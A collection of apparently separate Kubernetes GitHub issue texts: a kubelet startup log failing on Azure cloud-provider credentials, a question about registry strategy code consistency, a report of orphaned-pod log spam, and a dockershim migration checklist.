06:31:43.208293   92348 flags.go:27  flag: --cgroups-per-qos=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214196   92348 flags.go:27  flag: --chaos-chance=\ 0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214213   92348 flags.go:27  flag: --client-ca-file=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214219   92348 flags.go:27  flag: --cloud-config=\ /etc/kubernetes/config/azure.json\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214224   92348 flags.go:27  flag: --cloud-provider=\ azure\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214229   92348 flags.go:27  flag: --cluster-dns=\  172.31.0.10 \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214242   92348 flags.go:27  flag: --cluster-domain=\ cluster.local\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214247   92348 flags.go:27  flag: --cni-bin-dir=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214252   92348 flags.go:27  flag: --cni-conf-dir=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214264   92348 flags.go:27  flag: --config=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214270   92348 flags.go:27  flag: --container-hints=\ /etc/cadvisor/container_hints.json\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214276   92348 flags.go:27  flag: --container-log-max-files=\ 5\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214281   92348 flags.go:27  flag: --container-log-max-size=\ 10mi\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214286   92348 flags.go:27  flag: --container-runtime=\ docker\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214291   92348 flags.go:27  flag: --container-runtime-endpoint=\ unix:///var/run/dockershim.sock\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214296   92348 flags.go:27  flag: --containerd=\ unix:///var/run/containerd.sock\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214302   92348 flags.go:27  flag: --containerized=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214307   92348 flags.go:27  flag: --contention-profiling=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214312   92348 flags.go:27  flag: --cpu-cfs-quota=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214317   92348 flags.go:27  flag: --cpu-manager-policy=\ none\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214322   92348 flags.go:27  flag: --cpu-manager-reconcile-period=\ 10s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214328   92348 flags.go:27  flag: --docker=\ unix:///var/run/docker.sock\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214333   92348 flags.go:27  flag: --docker-disable-shared-pid=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214338   92348 flags.go:27  flag: --docker-endpoint=\ unix:///var/run/docker.sock\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214343   92348 flags.go:27  flag: --docker-env-metadata-whitelist=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214348   92348 flags.go:27  flag: --docker-only=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214353   92348 flags.go:27  flag: --docker-root=\ /var/lib/docker\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214359   92348 flags.go:27  flag: --docker-tls=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214364   92348 flags.go:27  flag: --docker-tls-ca=\ ca.pem\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214369   92348 flags.go:27  flag: --docker-tls-cert=\ cert.pem\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214389   92348 flags.go:27  flag: --docker-tls-key=\ key.pem\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214397   92348 flags.go:27  flag: --dynamic-config-dir=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214406   92348 flags.go:27  flag: --enable-controller-attach-detach=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214411   92348 flags.go:27  flag: --enable-custom-metrics=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214416   92348 flags.go:27  flag: --enable-debugging-handlers=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214421   92348 flags.go:27  flag: --enable-load-reader=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214426   92348 flags.go:27  flag: --enable-server=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214430   92348 flags.go:27  flag: --enforce-node-allocatable=\  pods \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214437   92348 flags.go:27  flag: --event-burst=\ 10\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214442   92348 flags.go:27  flag: --event-qps=\ 5\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214447   92348 flags.go:27  flag: --event-storage-age-limit=\ default=0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214452   92348 flags.go:27  flag: --event-storage-event-limit=\ default=0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214457   92348 flags.go:27  flag: --eviction-hard=\ imagefs.available<15%,memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214473   92348 flags.go:27  flag: --eviction-max-pod-grace-period=\ 0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214478   92348 flags.go:27  flag: --eviction-minimum-reclaim=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214486   92348 flags.go:27  flag: --eviction-pressure-transition-period=\ 5m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214492   92348 flags.go:27  flag: --eviction-soft=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214497   92348 flags.go:27  flag: --eviction-soft-grace-period=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214502   92348 flags.go:27  flag: --exit-on-lock-contention=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214507   92348 flags.go:27  flag: --experimental-allocatable-ignore-eviction=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214512   92348 flags.go:27  flag: --experimental-allowed-unsafe-sysctls=\   \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214521   92348 flags.go:27  flag: --experimental-bootstrap-kubeconfig=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214526   92348 flags.go:27  flag: --experimental-check-node-capabilities-before-mount=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214532   92348 flags.go:27  flag: --experimental-dockershim=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214537   92348 flags.go:27  flag: --experimental-dockershim-root-directory=\ /var/lib/dockershim\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214542   92348 flags.go:27  flag: --experimental-fail-swap-on=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214547   92348 flags.go:27  flag: --experimental-kernel-memcg-notification=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214552   92348 flags.go:27  flag: --experimental-mounter-path=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214557   92348 flags.go:27  flag: --experimental-qos-reserved=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214562   92348 flags.go:27  flag: --fail-swap-on=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214567   92348 flags.go:27  flag: --feature-gates=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214575   92348 flags.go:27  flag: --file-check-frequency=\ 20s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214580   92348 flags.go:27  flag: --global-housekeeping-interval=\ 1m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214585   92348 flags.go:27  flag: --google-json-key=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214590   92348 flags.go:27  flag: --hairpin-mode=\ promiscuous-bridge\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214595   92348 flags.go:27  flag: --healthz-bind-address=\ 10.14.0.4\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214600   92348 flags.go:27  flag: --healthz-port=\ 10248\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214606   92348 flags.go:27  flag: --help=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214611   92348 flags.go:27  flag: --host-ipc-sources=\    \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214617   92348 flags.go:27  flag: --host-network-sources=\    \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214624   92348 flags.go:27  flag: --host-pid-sources=\    \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214630   92348 flags.go:27  flag: --hostname-override=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214635   92348 flags.go:27  flag: --housekeeping-interval=\ 10s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214640   92348 flags.go:27  flag: --http-check-frequency=\ 20s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214645   92348 flags.go:27  flag: --image-gc-high-threshold=\ 85\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214650   92348 flags.go:27  flag: --image-gc-low-threshold=\ 80\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214655   92348 flags.go:27  flag: --image-pull-progress-deadline=\ 1m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214660   92348 flags.go:27  flag: --image-service-endpoint=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214665   92348 flags.go:27  flag: --iptables-drop-bit=\ 15\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214670   92348 flags.go:27  flag: --iptables-masquerade-bit=\ 14\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214675   92348 flags.go:27  flag: --keep-terminated-pod-volumes=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214692   92348 flags.go:27  flag: --kube-api-burst=\ 10\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214697   92348 flags.go:27  flag: --kube-api-content-type=\ application/vnd.kubernetes.protobuf\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214730   92348 flags.go:27  flag: --kube-api-qps=\ 5\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214737   92348 flags.go:27  flag: --kube-reserved=\ cpu=150m,memory=250mi\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214746   92348 flags.go:27  flag: --kube-reserved-cgroup=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214752   92348 flags.go:27  flag: --kubeconfig=\ /etc/kubernetes/config/kubelet-kubeconfig.yml\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214758   92348 flags.go:27  flag: --kubelet-cgroups=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214764   92348 flags.go:27  flag: --lock-file=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.214769   92348 flags.go:27  flag: --log-backtrace-at=\ :0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215084   92348 flags.go:27  flag: --log-cadvisor-usage=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215094   92348 flags.go:27  flag: --log-dir=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215100   92348 flags.go:27  flag: --log-flush-frequency=\ 5s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215106   92348 flags.go:27  flag: --logtostderr=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215112   92348 flags.go:27  flag: --machine-id-file=\ /rootfs/etc/machine-id\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215118   92348 flags.go:27  flag: --make-iptables-util-chains=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215124   92348 flags.go:27  flag: --manifest-url=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215130   92348 flags.go:27  flag: --manifest-url-header=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215139   92348 flags.go:27  flag: --master-service-namespace=\ default\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215145   92348 flags.go:27  flag: --max-open-files=\ 1000000\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215154   92348 flags.go:27  flag: --max-pods=\ 110\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215160   92348 flags.go:27  flag: --maximum-dead-containers=\ -1\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215167   92348 flags.go:27  flag: --maximum-dead-containers-per-container=\ 1\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215173   92348 flags.go:27  flag: --minimum-container-ttl-duration=\ 0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215179   92348 flags.go:27  flag: --minimum-image-ttl-duration=\ 2m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215185   92348 flags.go:27  flag: --network-plugin=\ cni\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215190   92348 flags.go:27  flag: --network-plugin-mtu=\ 0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215197   92348 flags.go:27  flag: --node-ip=\ 10.14.0.4\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215203   92348 flags.go:27  flag: --node-labels=\ ip=10.14.0.4,kubernetes.io/hostname=,node-role.kubernetes.io/master=,role=master\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215217   92348 flags.go:27  flag: --node-status-update-frequency=\ 10s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215223   92348 flags.go:27  flag: --non-masquerade-cidr=\ 10.0.0.0/8\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215229   92348 flags.go:27  flag: --oom-score-adj=\ -999\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215235   92348 flags.go:27  flag: --pod-cidr=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215241   92348 flags.go:27  flag: --pod-infra-container-image=\ k8s.gcr.io/pause-amd64:3.1\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215247   92348 flags.go:27  flag: --pod-manifest-path=\ /etc/kubernetes/manifests\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215253   92348 flags.go:27  flag: --pod-max-pids=\ -1\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215259   92348 flags.go:27  flag: --pods-per-core=\ 0\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215264   92348 flags.go:27  flag: --port=\ 10250\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215270   92348 flags.go:27  flag: --protect-kernel-defaults=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215276   92348 flags.go:27  flag: --provider-id=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215282   92348 flags.go:27  flag: --read-only-port=\ 10255\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215287   92348 flags.go:27  flag: --really-crash-for-testing=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215293   92348 flags.go:27  flag: --register-node=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215299   92348 flags.go:27  flag: --register-schedulable=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215304   92348 flags.go:27  flag: --register-with-taints=\ node-role.kubernetes.io/master=:noschedule\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215317   92348 flags.go:27  flag: --registry-burst=\ 10\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215323   92348 flags.go:27  flag: --registry-qps=\ 5\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215328   92348 flags.go:27  flag: --resolv-conf=\ /etc/resolv.conf\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215334   92348 flags.go:27  flag: --rkt-api-endpoint=\ localhost:15441\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215340   92348 flags.go:27  flag: --rkt-path=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215346   92348 flags.go:27  flag: --rkt-stage1-image=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215364   92348 flags.go:27  flag: --root-dir=\ /var/lib/kubelet\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215369   92348 flags.go:27  flag: --rotate-certificates=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215443   92348 flags.go:27  flag: --runonce=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215452   92348 flags.go:27  flag: --runtime-cgroups=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215457   92348 flags.go:27  flag: --runtime-request-timeout=\ 2m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215462   92348 flags.go:27  flag: --seccomp-profile-root=\ /var/lib/kubelet/seccomp\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215468   92348 flags.go:27  flag: --serialize-image-pulls=\ true\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215473   92348 flags.go:27  flag: --stderrthreshold=\ 2\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215478   92348 flags.go:27  flag: --storage-driver-buffer-duration=\ 1m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215483   92348 flags.go:27  flag: --storage-driver-db=\ cadvisor\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215488   92348 flags.go:27  flag: --storage-driver-host=\ localhost:8086\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215500   92348 flags.go:27  flag: --storage-driver-password=\ root\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215511   92348 flags.go:27  flag: --storage-driver-secure=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215521   92348 flags.go:27  flag: --storage-driver-table=\ stats\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215527   92348 flags.go:27  flag: --storage-driver-user=\ root\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215532   92348 flags.go:27  flag: --streaming-connection-idle-timeout=\ 4h0m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215542   92348 flags.go:27  flag: --sync-frequency=\ 1m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215547   92348 flags.go:27  flag: --system-cgroups=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215552   92348 flags.go:27  flag: --system-reserved=\ cpu=150m,memory=250mi\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215560   92348 flags.go:27  flag: --system-reserved-cgroup=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215565   92348 flags.go:27  flag: --tls-cert-file=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215570   92348 flags.go:27  flag: --tls-cipher-suites=\   \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215578   92348 flags.go:27  flag: --tls-min-version=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215583   92348 flags.go:27  flag: --tls-private-key-file=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215588   92348 flags.go:27  flag: --v=\ 2\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215593   92348 flags.go:27  flag: --version=\ false\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215602   92348 flags.go:27  flag: --vmodule=\ \ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215607   92348 flags.go:27  flag: --volume-plugin-dir=\ /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215613   92348 flags.go:27  flag: --volume-stats-agg-period=\ 1m0s\ \r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215643   92348 feature_gate.go:226  feature gates: &{{} map  }\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215841   92348 mount_linux.go:188  detected os without systemd\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.215852   92348 server.go:333  running kubelet in containerized mode\r mar 02 06:31:43 pawel-master-1 sh 92323 : w0302 06:31:43.216037   92348 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.219346   92348 iptables.go:198  could not connect to d-bus system bus: dial unix /var/run/dbus/system_bus_socket: connect: no such file or directory\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.219553   92348 server.go:373  version: v1.10.0-beta.1\r mar 02 06:31:43 pawel-master-1 sh 92323 : i0302 06:31:43.219750   92348 feature_gate.go:226  feature gates: &{{} map  }\r mar 02 06:31:43 pawel-master-1 sh 92323 : f0302 06:31:43.220267   92348 server.go:230  failed to run kubelet: could not init cloud provider \ azure\ : no credentials provided for aad application\r mar 02 06:31:43 pawel-master-1 systemd 1 : k8s-kubelet.service: main process exited, code=exited, status=255/n/a\r    \r \r   what you expected to happen  :\r \r kubelet starts finds a token via msi and starts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create azure vm with msi enabled.\r - start kubelet with  --cloud-provider=\ azure\   and   --cloud-config=\ /path/to/azure.json\  .\r \r   anything else we need to know?  :\r \r it was working in 1.9.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-beta.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : container linux 1576.5.0\r - kernel  e.g.  uname -a  : 4.14.11-coreos\r - install tools: custom  https://github.com/giantswarm/azure-operator/ \r - others:\r

some kinds have a  pkg/registry/$kind/registry.go .   a few do not  job, ingress .  is this an error or is this file optional?  some kinds do validation in a custom storage, but other than special validation, don't have anything special about their storage.  other kinds have special validation in their strategy.  some do:      go func  strategy  prepareforcreate obj runtime.object  {   return }      others do:      go func  strategy  prepareforcreate obj runtime.object  {    _ = obj.  api.configmap  // substitute $kind here. }      likewise for  canonicalize .  some have function comments for each function.  some don't.   when functions are implementing a interface, not clear what is best practice.   the matcher code in  pkg/registry/$kind/strategy.go  varies, even though the effect appears to be the same.

kubernetes version   \r    \r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  aws \r -   os    e.g. from /etc/os-release :  ubuntu 16.04.1 lts \r -   kernel    e.g.  uname -a  :  linux 4.4.0-53-generic  74-ubuntu smp fri dec 2 15:59:10 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r \r \r   what happened  :\r syslogs are getting spammed every 2 seconds with these kubelet errors:\r    \r dec  9 13:14:02 ip-10-50-242-179 start-kubelet.sh 31129 : e1209 13:14:02.300355   31129 kubelet_volumes.go:159  orphaned pod \ ff614192-bcc4-11e6-a20e-0a591a8e83d7\  found, but error open /var/lib/kubelet/pods/ff614192-bcc4-11e6-a20e-0a591a8e83d7/volumes: no such file or directory occured during reading volume dir from disk\r dec  9 13:14:02 ip-10-50-242-179 start-kubelet.sh 31129 : e1209 13:14:02.300373   31129 kubelet_getters.go:249  could not read directory /var/lib/kubelet/pods/ff769116-bcf4-11e6-a20e-0a591a8e83d7/volumes: open /var/lib/kubelet/pods/ff769116-bcf4-11e6-a20e-0a591a8e83d7/volumes: no such file or directory\r    \r \r we get the above 2 log entries for all the non-running pods  2150  every 2 seconds.\r so our logs get into the gb pretty quickly\r \r _there are 2160 pods in /var/lib/kubelet/pods/_\r    \r ~  ls /var/lib/kubelet/pods/ | wc -l\r 2160\r    \r \r _but only 10 are running and attached to volumes_\r    \r ~  df -h | grep kubelet\r /dev/xvdf                  256g  232m  256g   1% /var/lib/kubelet\r tmpfs                      7.4g  8.0k  7.4g   1% /var/lib/kubelet/pods/5b884f1f-bbcd-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/secrets\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/5b884f1f-bbcd-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-lfu24\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/15302286-bbaa-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-m0h9s\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/b0395433-a546-11e6-9670-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-n79fe\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/1198c11a-bd25-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-np531\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/473d7d51-bd25-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-smuz3\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/e17b1a95-bd36-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-1xs9g\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/2a36441b-bd57-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-qbw68\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/cf6c04f4-bd64-11e6-a20e-0a591a8e83d7/volumes/kubernetes.io~secret/default-token-n79fe\r tmpfs                      7.4g  8.0k  7.4g   1% /var/lib/kubelet/pods/24130c15-bdf5-11e6-98c0-0615e1fbbfc7/volumes/kubernetes.io~secret/secrets\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/24130c15-bdf5-11e6-98c0-0615e1fbbfc7/volumes/kubernetes.io~secret/default-token-9ksrm\r tmpfs                      7.4g   12k  7.4g   1% /var/lib/kubelet/pods/a271290c-bdf6-11e6-98c0-0615e1fbbfc7/volumes/kubernetes.io~secret/default-token-n79fe\r     \r

we should remove the old implementation and migrate the rest of the utility functions to  pkg/kubelet/dockershim . \r \r -  x  remove dockermanager  pr:  43884 .\r -  x  remove --enable-cri and the relevant code  pr:  45194 .\r -  x  refactor/move code in dockertools.  prs:  45199... \r \r

